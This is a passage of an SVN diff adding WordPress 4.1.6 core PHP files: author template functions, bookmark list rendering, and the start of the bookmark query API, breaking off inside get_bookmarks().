+ */
+function the_author( $deprecated = '', $deprecated_echo = true ) {
+	if ( !empty( $deprecated ) )
+		_deprecated_argument( __FUNCTION__, '2.1' );
+	if ( $deprecated_echo !== true )
+		_deprecated_argument( __FUNCTION__, '1.5', __('Use <code>get_the_author()</code> instead if you do not want the value echoed.') );
+	if ( $deprecated_echo )
+		echo get_the_author();
+	return get_the_author();
+}
+
+/**
+ * Retrieve the author who last edited the current post.
+ *
+ * @since 2.8.0
+ *
+ * @return string The author's display name.
+ */
+function get_the_modified_author() {
+	if ( $last_id = get_post_meta( get_post()->ID, '_edit_last', true) ) {
+		$last_user = get_userdata($last_id);
+
+		/**
+		 * Filter the display name of the author who last edited the current post.
+		 *
+		 * @since 2.8.0
+		 *
+		 * @param string $last_user->display_name The author's display name.
+		 */
+		return apply_filters('the_modified_author', $last_user->display_name);
+	}
+}
+
+/**
+ * Display the name of the author who last edited the current post.
+ *
+ * @since 2.8.0
+ *
+ * @see get_the_author()
+ * @return string The author's display name, from get_the_modified_author().
+ */
+function the_modified_author() {
+	echo get_the_modified_author();
+}
+
+/**
+ * Retrieve the requested data of the author of the current post.
+ * @link http://codex.wordpress.org/Template_Tags/the_author_meta
+ * @since 2.8.0
+ * @param string $field selects the field of the users record.
+ * @param int $user_id Optional. User ID.
+ * @return string The author's field from the current author's DB object.
+ */
+function get_the_author_meta( $field = '', $user_id = false ) {
+	if ( ! $user_id ) {
+		global $authordata;
+		$user_id = isset( $authordata->ID ) ? $authordata->ID : 0;
+	} else {
+		$authordata = get_userdata( $user_id );
+	}
+
+	if ( in_array( $field, array( 'login', 'pass', 'nicename', 'email', 'url', 'registered', 'activation_key', 'status' ) ) )
+		$field = 'user_' . $field;
+
+	$value = isset( $authordata->$field ) ? $authordata->$field : '';
+
+	/**
+	 * Filter the value of the requested user metadata.
+	 *
+	 * The filter name is dynamic and depends on the $field parameter of the function.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @param string $value   The value of the metadata.
+	 * @param int    $user_id The user ID.
+	 */
+	return apply_filters( 'get_the_author_' . $field, $value, $user_id );
+}
+
+/**
+ * Retrieve the requested data of the author of the current post.
+ * @link http://codex.wordpress.org/Template_Tags/the_author_meta
+ * @since 2.8.0
+ * @param string $field selects the field of the users record.
+ * @param int $user_id Optional. User ID.
+ * @echo string The author's field from the current author's DB object.
+ */
+function the_author_meta( $field = '', $user_id = false ) {
+	$author_meta = get_the_author_meta( $field, $user_id );
+
+	/**
+	 * The value of the requested user metadata.
+	 *
+	 * The filter name is dynamic and depends on the $field parameter of the function.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @param string $author_meta The value of the metadata.
+	 * @param int    $user_id     The user ID.
+	 */
+	echo apply_filters( 'the_author_' . $field, $author_meta, $user_id );
+}
+
+/**
+ * Retrieve either author's link or author's name.
+ *
+ * If the author has a home page set, return an HTML link, otherwise just return the
+ * author's name.
+ */
+function get_the_author_link() {
+	if ( get_the_author_meta('url') ) {
+		return '<a href="' . esc_url( get_the_author_meta('url') ) . '" title="' . esc_attr( sprintf(__("Visit %s&#8217;s website"), get_the_author()) ) . '" rel="author external">' . get_the_author() . '</a>';
+	} else {
+		return get_the_author();
+	}
+}
+
+/**
+ * Display either author's link or author's name.
+ *
+ * If the author has a home page set, echo an HTML link, otherwise just echo the
+ * author's name.
+ *
+ * @link http://codex.wordpress.org/Template_Tags/the_author_link
+ *
+ * @since 2.1.0
+ */
+function the_author_link() {
+	echo get_the_author_link();
+}
+
+/**
+ * Retrieve the number of posts by the author of the current post.
+ *
+ * @since 1.5.0
+ *
+ * @return int The number of posts by the author.
+ */
+function get_the_author_posts() {
+	$post = get_post();
+	if ( ! $post ) {
+		return 0;
+	}
+	return count_user_posts( $post->post_author );
+}
+
+/**
+ * Display the number of posts by the author of the current post.
+ *
+ * @link http://codex.wordpress.org/Template_Tags/the_author_posts
+ * @since 0.71
+ */
+function the_author_posts() {
+	echo get_the_author_posts();
+}
+
+/**
+ * Display an HTML link to the author page of the author of the current post.
+ *
+ * Does just echo get_author_posts_url() function, like the others do. The
+ * reason for this, is that another function is used to help in printing the
+ * link to the author's posts.
+ *
+ * @link http://codex.wordpress.org/Template_Tags/the_author_posts_link
+ * @since 1.2.0
+ * @param string $deprecated Deprecated.
+ */
+function the_author_posts_link($deprecated = '') {
+	if ( !empty( $deprecated ) )
+		_deprecated_argument( __FUNCTION__, '2.1' );
+
+	global $authordata;
+	if ( !is_object( $authordata ) )
+		return false;
+	$link = sprintf(
+		'<a href="%1$s" title="%2$s" rel="author">%3$s</a>',
+		esc_url( get_author_posts_url( $authordata->ID, $authordata->user_nicename ) ),
+		esc_attr( sprintf( __( 'Posts by %s' ), get_the_author() ) ),
+		get_the_author()
+	);
+
+	/**
+	 * Filter the link to the author page of the author of the current post.
+	 *
+	 * @since 2.9.0
+	 *
+	 * @param string $link HTML link.
+	 */
+	echo apply_filters( 'the_author_posts_link', $link );
+}
+
+/**
+ * Retrieve the URL to the author page for the user with the ID provided.
+ *
+ * @since 2.1.0
+ * @uses $wp_rewrite WP_Rewrite
+ * @return string The URL to the author's page.
+ */
+function get_author_posts_url($author_id, $author_nicename = '') {
+	global $wp_rewrite;
+	$auth_ID = (int) $author_id;
+	$link = $wp_rewrite->get_author_permastruct();
+
+	if ( empty($link) ) {
+		$file = home_url( '/' );
+		$link = $file . '?author=' . $auth_ID;
+	} else {
+		if ( '' == $author_nicename ) {
+			$user = get_userdata($author_id);
+			if ( !empty($user->user_nicename) )
+				$author_nicename = $user->user_nicename;
+		}
+		$link = str_replace('%author%', $author_nicename, $link);
+		$link = home_url( user_trailingslashit( $link ) );
+	}
+
+	/**
+	 * Filter the URL to the author's page.
+	 *
+	 * @since 2.1.0
+	 *
+	 * @param string $link            The URL to the author's page.
+	 * @param int    $author_id       The author's id.
+	 * @param string $author_nicename The author's nice name.
+	 */
+	$link = apply_filters( 'author_link', $link, $author_id, $author_nicename );
+
+	return $link;
+}
+
+/**
+ * List all the authors of the blog, with several options available.
+ *
+ * @link http://codex.wordpress.org/Template_Tags/wp_list_authors
+ *
+ * @since 1.2.0
+ *
+ * @param string|array $args {
+ *     Optional. Array or string of default arguments.
+ *
+ *     @type string $orderby       How to sort the authors. Accepts 'nicename', 'email', 'url', 'registered',
+ *                                 'user_nicename', 'user_email', 'user_url', 'user_registered', 'name',
+ *                                 'display_name', 'post_count', 'ID', 'meta_value', 'user_login'. Default 'name'.
+ *     @type string $order         Sorting direction for $orderby. Accepts 'ASC', 'DESC'. Default 'ASC'.
+ *     @type int    $number        Maximum authors to return or display. Default empty (all authors).
+ *     @type bool   $optioncount   Show the count in parenthesis next to the author's name. Default false.
+ *     @type bool   $exclude_admin Whether to exclude the 'admin' account, if it exists. Default false.
+ *     @type bool   $show_fullname Whether to show the author's full name. Default false.
+ *     @type bool   $hide_empty    Whether to hide any authors with no posts. Default true.
+ *     @type string $feed          If not empty, show a link to the author's feed and use this text as the alt
+ *                                 parameter of the link. Default empty.
+ *     @type string $feed_image    If not empty, show a link to the author's feed and use this image URL as
+ *                                 clickable anchor. Default empty.
+ *     @type string $feed_type     The feed type to link to, such as 'rss2'. Defaults to default feed type.
+ *     @type bool   $echo          Whether to output the result or instead return it. Default true.
+ *     @type string $style         If 'list', each author is wrapped in an `<li>` element, otherwise the authors
+ *                                 will be separated by commas.
+ *     @type bool   $html          Whether to list the items in HTML form or plaintext. Default true.
+ *     @type string $exclude       An array, comma-, or space-separated list of author IDs to exclude. Default empty.
+ *     @type string $exclude       An array, comma-, or space-separated list of author IDs to include. Default empty.
+ * }
+ * @return null|string The output, if echo is set to false. Otherwise null.
+ */
+function wp_list_authors( $args = '' ) {
+	global $wpdb;
+
+	$defaults = array(
+		'orderby' => 'name', 'order' => 'ASC', 'number' => '',
+		'optioncount' => false, 'exclude_admin' => true,
+		'show_fullname' => false, 'hide_empty' => true,
+		'feed' => '', 'feed_image' => '', 'feed_type' => '', 'echo' => true,
+		'style' => 'list', 'html' => true, 'exclude' => '', 'include' => ''
+	);
+
+	$args = wp_parse_args( $args, $defaults );
+
+	$return = '';
+
+	$query_args = wp_array_slice_assoc( $args, array( 'orderby', 'order', 'number', 'exclude', 'include' ) );
+	$query_args['fields'] = 'ids';
+	$authors = get_users( $query_args );
+
+	$author_count = array();
+	foreach ( (array) $wpdb->get_results( "SELECT DISTINCT post_author, COUNT(ID) AS count FROM $wpdb->posts WHERE post_type = 'post' AND " . get_private_posts_cap_sql( 'post' ) . " GROUP BY post_author" ) as $row ) {
+		$author_count[$row->post_author] = $row->count;
+	}
+	foreach ( $authors as $author_id ) {
+		$author = get_userdata( $author_id );
+
+		if ( $args['exclude_admin'] && 'admin' == $author->display_name ) {
+			continue;
+		}
+
+		$posts = isset( $author_count[$author->ID] ) ? $author_count[$author->ID] : 0;
+
+		if ( ! $posts && $args['hide_empty'] ) {
+			continue;
+		}
+
+		if ( $args['show_fullname'] && $author->first_name && $author->last_name ) {
+			$name = "$author->first_name $author->last_name";
+		} else {
+			$name = $author->display_name;
+		}
+
+		if ( ! $args['html'] ) {
+			$return .= $name . ', ';
+
+			continue; // No need to go further to process HTML.
+		}
+
+		if ( 'list' == $args['style'] ) {
+			$return .= '<li>';
+		}
+
+		$link = '<a href="' . get_author_posts_url( $author->ID, $author->user_nicename ) . '" title="' . esc_attr( sprintf(__("Posts by %s"), $author->display_name) ) . '">' . $name . '</a>';
+
+		if ( ! empty( $args['feed_image'] ) || ! empty( $args['feed'] ) ) {
+			$link .= ' ';
+			if ( empty( $args['feed_image'] ) ) {
+				$link .= '(';
+			}
+
+			$link .= '<a href="' . get_author_feed_link( $author->ID, $args['feed_type'] ) . '"';
+
+			$alt = '';
+			if ( ! empty( $args['feed'] ) ) {
+				$alt = ' alt="' . esc_attr( $args['feed'] ) . '"';
+				$name = $args['feed'];
+			}
+
+			$link .= '>';
+
+			if ( ! empty( $args['feed_image'] ) ) {
+				$link .= '<img src="' . esc_url( $args['feed_image'] ) . '" style="border: none;"' . $alt . ' />';
+			} else {
+				$link .= $name;
+			}
+
+			$link .= '</a>';
+
+			if ( empty( $args['feed_image'] ) ) {
+				$link .= ')';
+			}
+		}
+
+		if ( $args['optioncount'] ) {
+			$link .= ' ('. $posts . ')';
+		}
+
+		$return .= $link;
+		$return .= ( 'list' == $args['style'] ) ? '</li>' : ', ';
+	}
+
+	$return = rtrim( $return, ', ' );
+
+	if ( ! $args['echo'] ) {
+		return $return;
+	}
+	echo $return;
+}
+
+/**
+ * Does this site have more than one author
+ *
+ * Checks to see if more than one author has published posts.
+ *
+ * @since 3.2.0
+ * @return bool Whether or not we have more than one author
+ */
+function is_multi_author() {
+	global $wpdb;
+
+	if ( false === ( $is_multi_author = get_transient( 'is_multi_author' ) ) ) {
+		$rows = (array) $wpdb->get_col("SELECT DISTINCT post_author FROM $wpdb->posts WHERE post_type = 'post' AND post_status = 'publish' LIMIT 2");
+		$is_multi_author = 1 < count( $rows ) ? 1 : 0;
+		set_transient( 'is_multi_author', $is_multi_author );
+	}
+
+	/**
+	 * Filter whether the site has more than one author with published posts.
+	 *
+	 * @since 3.2.0
+	 *
+	 * @param bool $is_multi_author Whether $is_multi_author should evaluate as true.
+	 */
+	return apply_filters( 'is_multi_author', (bool) $is_multi_author );
+}
+
+/**
+ * Helper function to clear the cache for number of authors.
+ *
+ * @private
+ */
+function __clear_multi_author_cache() {
+	delete_transient( 'is_multi_author' );
+}
+add_action('transition_post_status', '__clear_multi_author_cache');
Index: /tags/4.1.6/src/wp-includes/bookmark-template.php
===================================================================
--- /tags/4.1.6/src/wp-includes/bookmark-template.php	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/bookmark-template.php	(revision 33402)
@@ -0,0 +1,298 @@
+<?php
+/**
+ * Bookmark Template Functions for usage in Themes
+ *
+ * @package WordPress
+ * @subpackage Template
+ */
+
+/**
+ * The formatted output of a list of bookmarks.
+ *
+ * The $bookmarks array must contain bookmark objects and will be iterated over
+ * to retrieve the bookmark to be used in the output.
+ *
+ * The output is formatted as HTML with no way to change that format. However,
+ * what is between, before, and after can be changed. The link itself will be
+ * HTML.
+ *
+ * This function is used internally by wp_list_bookmarks() and should not be
+ * used by themes.
+ *
+ * @since 2.1.0
+ * @access private
+ *
+ * @param array $bookmarks List of bookmarks to traverse.
+ * @param string|array $args {
+ *     Optional. Bookmarks arguments.
+ *
+ *     @type int|bool $show_updated     Whether to show the time the bookmark was last updated.
+ *                                      Accepts 1|true or 0|false. Default 0|false.
+ *     @type int|bool $show_description Whether to show the bookmakr description. Accepts 1|true,
+ *                                      Accepts 1|true or 0|false. Default 0|false.
+ *     @type int|bool $show_images      Whether to show the link image if available. Accepts 1|true
+ *                                      or 0|false. Default 1|true.
+ *     @type int|bool $show_name        Whether to show link name if available. Accepts 1|true or
+ *                                      0|false. Default 0|false.
+ *     @type string   $before           The HTML or text to prepend to each bookmark. Default `<li>`.
+ *     @type string   $after            The HTML or text to append to each bookmark. Default `</li>`.
+ *     @type string   $link_before      The HTML or text to prepend to each bookmark inside the anchor
+ *                                      tags. Default empty.
+ *     @type string   $link_after       The HTML or text to append to each bookmark inside the anchor
+ *                                      tags. Default empty.
+ *     @type string   $between          The string for use in between the link, description, and image.
+ *                                      Default "\n".
+ *     @type int|bool $show_rating      Whether to show the link rating. Accepts 1|true or 0|false.
+ *                                      Default 0|false.
+ *
+ * }
+ * @return string Formatted output in HTML
+ */
+function _walk_bookmarks( $bookmarks, $args = '' ) {
+	$defaults = array(
+		'show_updated' => 0, 'show_description' => 0,
+		'show_images' => 1, 'show_name' => 0,
+		'before' => '<li>', 'after' => '</li>', 'between' => "\n",
+		'show_rating' => 0, 'link_before' => '', 'link_after' => ''
+	);
+
+	$r = wp_parse_args( $args, $defaults );
+
+	$output = ''; // Blank string to start with.
+
+	foreach ( (array) $bookmarks as $bookmark ) {
+		if ( ! isset( $bookmark->recently_updated ) ) {
+			$bookmark->recently_updated = false;
+		}
+		$output .= $r['before'];
+		if ( $r['show_updated'] && $bookmark->recently_updated ) {
+			$output .= '<em>';
+		}
+		$the_link = '#';
+		if ( ! empty( $bookmark->link_url ) ) {
+			$the_link = esc_url( $bookmark->link_url );
+		}
+		$desc = esc_attr( sanitize_bookmark_field( 'link_description', $bookmark->link_description, $bookmark->link_id, 'display' ) );
+		$name = esc_attr( sanitize_bookmark_field( 'link_name', $bookmark->link_name, $bookmark->link_id, 'display' ) );
+ 		$title = $desc;
+
+		if ( $r['show_updated'] ) {
+			if ( '00' != substr( $bookmark->link_updated_f, 0, 2 ) ) {
+				$title .= ' (';
+				$title .= sprintf(
+					__('Last updated: %s'),
+					date(
+						get_option( 'links_updated_date_format' ),
+						$bookmark->link_updated_f + ( get_option( 'gmt_offset' ) * HOUR_IN_SECONDS )
+					)
+				);
+				$title .= ')';
+			}
+		}
+		$alt = ' alt="' . $name . ( $r['show_description'] ? ' ' . $title : '' ) . '"';
+
+		if ( '' != $title ) {
+			$title = ' title="' . $title . '"';
+		}
+		$rel = $bookmark->link_rel;
+		if ( '' != $rel ) {
+			$rel = ' rel="' . esc_attr($rel) . '"';
+		}
+		$target = $bookmark->link_target;
+		if ( '' != $target ) {
+			$target = ' target="' . $target . '"';
+		}
+		$output .= '<a href="' . $the_link . '"' . $rel . $title . $target . '>';
+
+		$output .= $r['link_before'];
+
+		if ( $bookmark->link_image != null && $r['show_images'] ) {
+			if ( strpos( $bookmark->link_image, 'http' ) === 0 ) {
+				$output .= "<img src=\"$bookmark->link_image\" $alt $title />";
+			} else { // If it's a relative path
+				$output .= "<img src=\"" . get_option('siteurl') . "$bookmark->link_image\" $alt $title />";
+			}
+			if ( $r['show_name'] ) {
+				$output .= " $name";
+			}
+		} else {
+			$output .= $name;
+		}
+
+		$output .= $r['link_after'];
+
+		$output .= '</a>';
+
+		if ( $r['show_updated'] && $bookmark->recently_updated ) {
+			$output .= '</em>';
+		}
+
+		if ( $r['show_description'] && '' != $desc ) {
+			$output .= $r['between'] . $desc;
+		}
+
+		if ( $r['show_rating'] ) {
+			$output .= $r['between'] . sanitize_bookmark_field(
+				'link_rating',
+				$bookmark->link_rating,
+				$bookmark->link_id,
+				'display'
+			);
+		}
+		$output .= $r['after'] . "\n";
+	} // end while
+
+	return $output;
+}
+
+/**
+ * Retrieve or echo all of the bookmarks.
+ *
+ * List of default arguments are as follows:
+ *
+ * These options define how the Category name will appear before the category
+ * links are displayed, if 'categorize' is 1. If 'categorize' is 0, then it will
+ * display for only the 'title_li' string and only if 'title_li' is not empty.
+ *
+ * @since 2.1.0
+ *
+ * @see _walk_bookmarks()
+ *
+ * @param string|array $args {
+ *     Optional. String or array of arguments to list bookmarks.
+ *
+ *     @type string   $orderby          How to order the links by. Accepts post fields. Default 'name'.
+ *     @type string   $order            Whether to order bookmarks in ascending or descending order.
+ *                                      Accepts 'ASC' (ascending) or 'DESC' (descending). Default 'ASC'.
+ *     @type int      $limit            Amount of bookmarks to display. Accepts 1+ or -1 for all.
+ *                                      Default -1.
+ *     @type string   $category         Comma-separated list of category ids to include links from.
+ *                                      Default empty.
+ *     @type string   $category_name    Category to retrieve links for by name. Default empty.
+ *     @type int|bool $hide_invisible   Whether to show or hide links marked as 'invisible'. Accepts
+ *                                      1|true or 0|false. Default 1|true.
+ *     @type int|bool $show_updated     Whether to display the time the bookmark was last updated.
+ *                                      Accepts 1|true or 0|false. Default 0|false.
+ *     @type int|bool $echo             Whether to echo or return the formatted bookmarks. Accepts
+ *                                      1|true (echo) or 0|false (return). Default 1|true.
+ *     @type int|bool $categorize       Whether to show links listed by category or in a single column.
+ *                                      Accepts 1|true (by category) or 0|false (one column). Default 1|true.
+ *     @type int|bool $show_description Whether to show the bookmark descriptions. Accepts 1|true or 0|false.
+ *                                      Default 0|false.
+ *     @type string   $title_li         What to show before the links appear. Default 'Bookmarks'.
+ *     @type string   $title_before     The HTML or text to prepend to the $title_li string. Default '<h2>'.
+ *     @type string   $title_after      The HTML or text to append to the $title_li string. Default '</h2>'.
+ *     @type string   $class            The CSS class to use for the $title_li. Default 'linkcat'.
+ *     @type string   $category_before  The HTML or text to prepend to $title_before if $categorize is true.
+ *                                      String must contain '%id' and '%class' to inherit the category ID and
+ *                                      the $class argument used for formatting in themes.
+ *                                      Default '<li id="%id" class="%class">'.
+ *     @type string   $category_after   The HTML or text to append to $title_after if $categorize is true.
+ *                                      Default '</li>'.
+ *     @type string   $category_orderby How to order the bookmark category based on term scheme if $categorize
+ *                                      is true. Default 'name'.
+ *     @type string   $category_order   Whether to order categories in ascending or descending order if
+ *                                      $categorize is true. Accepts 'ASC' (ascending) or 'DESC' (descending).
+ *                                      Default 'ASC'.
+ * }
+ * @return string|null Will only return if echo option is set to not echo. Default is not return anything.
+ */
+function wp_list_bookmarks( $args = '' ) {
+	$defaults = array(
+		'orderby' => 'name', 'order' => 'ASC',
+		'limit' => -1, 'category' => '', 'exclude_category' => '',
+		'category_name' => '', 'hide_invisible' => 1,
+		'show_updated' => 0, 'echo' => 1,
+		'categorize' => 1, 'title_li' => __('Bookmarks'),
+		'title_before' => '<h2>', 'title_after' => '</h2>',
+		'category_orderby' => 'name', 'category_order' => 'ASC',
+		'class' => 'linkcat', 'category_before' => '<li id="%id" class="%class">',
+		'category_after' => '</li>'
+	);
+
+	$r = wp_parse_args( $args, $defaults );
+
+	$output = '';
+
+	if ( $r['categorize'] ) {
+		$cats = get_terms( 'link_category', array(
+			'name__like' => $r['category_name'],
+			'include' => $r['category'],
+			'exclude' => $r['exclude_category'],
+			'orderby' => $r['category_orderby'],
+			'order' => $r['category_order'],
+			'hierarchical' => 0
+		) );
+		if ( empty( $cats ) ) {
+			$r['categorize'] = false;
+		}
+	}
+
+	if ( $r['categorize'] ) {
+		// Split the bookmarks into ul's for each category
+		foreach ( (array) $cats as $cat ) {
+			$params = array_merge( $r, array( 'category' => $cat->term_id ) );
+			$bookmarks = get_bookmarks( $params );
+			if ( empty( $bookmarks ) ) {
+				continue;
+			}
+			$output .= str_replace(
+				array( '%id', '%class' ),
+				array( "linkcat-$cat->term_id", $r['class'] ),
+				$r['category_before']
+			);
+			/**
+			 * Filter the bookmarks category name.
+			 *
+			 * @since 2.2.0
+			 *
+			 * @param string $cat_name The category name of bookmarks.
+			 */
+			$catname = apply_filters( 'link_category', $cat->name );
+
+			$output .= $r['title_before'];
+			$output .= $catname;
+			$output .= $r['title_after'];
+			$output .= "\n\t<ul class='xoxo blogroll'>\n";
+			$output .= _walk_bookmarks( $bookmarks, $r );
+			$output .= "\n\t</ul>\n";
+			$output .= $r['category_after'] . "\n";
+		}
+	} else {
+		//output one single list using title_li for the title
+		$bookmarks = get_bookmarks( $r );
+
+		if ( ! empty( $bookmarks ) ) {
+			if ( ! empty( $r['title_li'] ) ) {
+				$output .= str_replace(
+					array( '%id', '%class' ),
+					array( "linkcat-" . $r['category'], $r['class'] ),
+					$r['category_before']
+				);
+				$output .= $r['title_before'];
+				$output .= $r['title_li'];
+				$output .= $r['title_after'];
+				$output .= "\n\t<ul class='xoxo blogroll'>\n";
+				$output .= _walk_bookmarks( $bookmarks, $r );
+				$output .= "\n\t</ul>\n";
+				$output .= $r['category_after'] . "\n";
+			} else {
+				$output .= _walk_bookmarks( $bookmarks, $r );
+			}
+		}
+	}
+
+	/**
+	 * Filter the bookmarks list before it is echoed or returned.
+	 *
+	 * @since 2.5.0
+	 *
+	 * @param string $html The HTML list of bookmarks.
+	 */
+	$html = apply_filters( 'wp_list_bookmarks', $output );
+
+	if ( ! $r['echo'] ) {
+		return $html;
+	}
+	echo $html;
+}
Index: /tags/4.1.6/src/wp-includes/bookmark.php
===================================================================
--- /tags/4.1.6/src/wp-includes/bookmark.php	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/bookmark.php	(revision 33402)
@@ -0,0 +1,414 @@
+<?php
+/**
+ * Link/Bookmark API
+ *
+ * @package WordPress
+ * @subpackage Bookmark
+ */
+
+/**
+ * Retrieve Bookmark data
+ *
+ * @since 2.1.0
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ *
+ * @param int|stdClass $bookmark
+ * @param string $output Optional. Either OBJECT, ARRAY_N, or ARRAY_A constant
+ * @param string $filter Optional, default is 'raw'.
+ * @return array|object Type returned depends on $output value.
+ */
+function get_bookmark($bookmark, $output = OBJECT, $filter = 'raw') {
+	global $wpdb;
+
+	if ( empty($bookmark) ) {
+		if ( isset($GLOBALS['link']) )
+			$_bookmark = & $GLOBALS['link'];
+		else
+			$_bookmark = null;
+	} elseif ( is_object($bookmark) ) {
+		wp_cache_add($bookmark->link_id, $bookmark, 'bookmark');
+		$_bookmark = $bookmark;
+	} else {
+		if ( isset($GLOBALS['link']) && ($GLOBALS['link']->link_id == $bookmark) ) {
+			$_bookmark = & $GLOBALS['link'];
+		} elseif ( ! $_bookmark = wp_cache_get($bookmark, 'bookmark') ) {
+			$_bookmark = $wpdb->get_row($wpdb->prepare("SELECT * FROM $wpdb->links WHERE link_id = %d LIMIT 1", $bookmark));
+			if ( $_bookmark ) {
+				$_bookmark->link_category = array_unique( wp_get_object_terms( $_bookmark->link_id, 'link_category', array( 'fields' => 'ids' ) ) );
+				wp_cache_add( $_bookmark->link_id, $_bookmark, 'bookmark' );
+			}
+		}
+	}
+
+	if ( ! $_bookmark )
+		return $_bookmark;
+
+	$_bookmark = sanitize_bookmark($_bookmark, $filter);
+
+	if ( $output == OBJECT ) {
+		return $_bookmark;
+	} elseif ( $output == ARRAY_A ) {
+		return get_object_vars($_bookmark);
+	} elseif ( $output == ARRAY_N ) {
+		return array_values(get_object_vars($_bookmark));
+	} else {
+		return $_bookmark;
+	}
+}
+
+/**
+ * Retrieve single bookmark data item or field.
+ *
+ * @since 2.3.0
+ *
+ * @param string $field The name of the data field to return
+ * @param int $bookmark The bookmark ID to get field
+ * @param string $context Optional. The context of how the field will be used.
+ * @return string
+ */
+function get_bookmark_field( $field, $bookmark, $context = 'display' ) {
+	$bookmark = (int) $bookmark;
+	$bookmark = get_bookmark( $bookmark );
+
+	if ( is_wp_error($bookmark) )
+		return $bookmark;
+
+	if ( !is_object($bookmark) )
+		return '';
+
+	if ( !isset($bookmark->$field) )
+		return '';
+
+	return sanitize_bookmark_field($field, $bookmark->$field, $bookmark->link_id, $context);
+}
+
+/**
+ * Retrieves the list of bookmarks
+ *
+ * Attempts to retrieve from the cache first based on MD5 hash of arguments. If
+ * that fails, then the query will be built from the arguments and executed. The
+ * results will be stored to the cache.
+ *
+ * @since 2.1.0
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ *
+ * @param string|array $args {
+ *     Optional. String or array of arguments to retrieve bookmarks.
+ *
+ *     @type string   $orderby        How to order the links by. Accepts post fields. Default 'name'.
+ *     @type string   $order          Whether to order bookmarks in ascending or descending order.
+ *                                    Accepts 'ASC' (ascending) or 'DESC' (descending). Default 'ASC'.
+ *     @type int      $limit          Amount of bookmarks to display. Accepts 1+ or -1 for all.
+ *                                    Default -1.
+ *     @type string   $category       Comma-separated list of category ids to include links from.
+ *                                    Default empty.
+ *     @type string   $category_name  Category to retrieve links for by name. Default empty.
+ *     @type int|bool $hide_invisible Whether to show or hide links marked as 'invisible'. Accepts
+ *                                    1|true or 0|false. Default 1|true.
+ *     @type int|bool $show_updated   Whether to display the time the bookmark was last updated.
+ *                                    Accepts 1|true or 0|false. Default 0|false.
+ *     @type string   $include        Comma-separated list of bookmark IDs to include. Default empty.
+ *     @type string   $exclude        Comma-separated list of bookmark IDs to exclude. Default empty.
+ * }
+ * @return array List of bookmark row objects.
+ */
+function get_bookmarks( $args = '' ) {
+	global $wpdb;
+
+	$defaults = array(
+		'orderby' => 'name', 'order' => 'ASC',
+		'limit' => -1, 'category' => '',
+		'category_name' => '', 'hide_invisible' => 1,
+		'show_updated' => 0, 'include' => '',
+		'exclude' => '', 'search' => ''
+	);
+
+	$r = wp_parse_args( $args, $defaults );
+
+	$key = md5( serialize( $r ) );
+	if ( $cache = wp_cache_get( 'get_bookmarks', 'bookmark' ) ) {
+		if ( is_array( $cache ) && isset( $cache[ $key ] ) ) {
+			$bookmarks = $cache[ $key ];
+			/**
+			 * Filter the returned list of bookmarks.
+			 *
+			 * The first time the hook is evaluated in this file, it returns the cached
+			 * bookmarks list. The second evaluation returns a cached bookmarks list if the
+			 * link category is passed but does not exist. The third evaluation returns
+			 * the full cached results.
+			 *
+			 * @since 2.1.0
+			 *
+			 * @see get_bookmarks()
+			 *
+			 * @param array $bookmarks List of the cached bookmarks.
+			 * @param array $r         An array of bookmark query arguments.
+			 */
+			return apply_filters( 'get_bookmarks', $bookmarks, $r );
+		}
+	}
+
+	if ( ! is_array( $cache ) ) {
+		$cache = array();
+	}
+
+	$inclusions = '';
+	if ( ! empty( $r['include'] ) ) {
+		$r['exclude'] = '';  //ignore exclude, category, and category_name params if using include
+		$r['category'] = '';
+		$r['category_name'] = '';
+		$inclinks = preg_split( '/[\s,]+/', $r['include'] );
+		if ( count( $inclinks ) ) {
+			foreach ( $inclinks as $inclink ) {
+				if ( empty( $inclusions ) ) {
+					$inclusions = ' AND ( link_id = ' . intval( $inclink ) . ' ';
+				} else {
+					$inclusions .= ' OR link_id = ' . intval( $inclink ) . ' ';
+				}
+			}
+		}
+	}
+	if (! empty( $inclusions ) ) {
+		$inclusions .= ')';
+	}
+
+	$exclusions = '';
+	if ( ! empty( $r['exclude'] ) ) {
+		$exlinks = preg_split( '/[\s,]+/', $r['exclude'] );
+		if ( count( $exlinks ) ) {
+			foreach ( $exlinks as $exlink ) {
+				if ( empty( $exclusions ) ) {
+					$exclusions = ' AND ( link_id <> ' . intval( $exlink ) . ' ';
+				} else {
+					$exclusions .= ' AND link_id <> ' . intval( $exlink ) . ' ';
+				}
+			}
+		}
+	}
+	if ( ! empty( $exclusions ) ) {
+		$exclusions .= ')';
+	}
+
+	if ( ! empty( $r['category_name'] ) ) {
+		if ( $r['category'] = get_term_by('name', $r['category_name'], 'link_category') ) {
+			$r['category'] = $r['category']->term_id;
+		} else {
+			$cache[ $key ] = array();
+			wp_cache_set( 'get_bookmarks', $cache, 'bookmark' );
+			/** This filter is documented in wp-includes/bookmark.php */
+			return apply_filters( 'get_bookmarks', array(), $r );
+		}
+	}
+
+	$search = '';
+	if ( ! empty( $r['search'] ) ) {
+		$like = '%' . $wpdb->esc_like( $r['search'] ) . '%';
+		$search = $wpdb->prepare(" AND ( (link_url LIKE %s) OR (link_name LIKE %s) OR (link_description LIKE %s) ) ", $like, $like, $like );
+	}
+
+	$category_query = '';
+	$join = '';
+	if ( ! empty( $r['category'] ) ) {
+		$incategories = preg_split( '/[\s,]+/', $r['category'] );
+		if ( count($incategories) ) {
+			foreach ( $incategories as $incat ) {
+				if ( empty( $category_query ) ) {
+					$category_query = ' AND ( tt.term_id = ' . intval( $incat ) . ' ';
+				} else {
+					$category_query .= ' OR tt.term_id = ' . intval( $incat ) . ' ';
+				}
+			}
+		}
+	}
+	if ( ! empty( $category_query ) ) {
+		$category_query .= ") AND taxonomy = 'link_category'";
+		$join = " INNER JOIN $wpdb->term_relationships AS tr ON ($wpdb->links.link_id = tr.object_id) INNER JOIN $wpdb->term_taxonomy as tt ON tt.term_taxonomy_id = tr.term_taxonomy_id";
+	}
+
+	if ( $r['show_updated'] ) {
+		$recently_updated_test = ", IF (DATE_ADD(link_updated, INTERVAL 120 MINUTE) >= NOW(), 1,0) as recently_updated ";
+	} else {
+		$recently_updated_test = '';
+	}
+
+	$get_updated = ( $r['show_updated'] ) ? ', UNIX_TIMESTAMP(link_updated) AS link_updated_f ' : '';
+
+	$orderby = strtolower( $r['orderby'] );
+	$length = '';
+	switch ( $orderby ) {
+		case 'length':
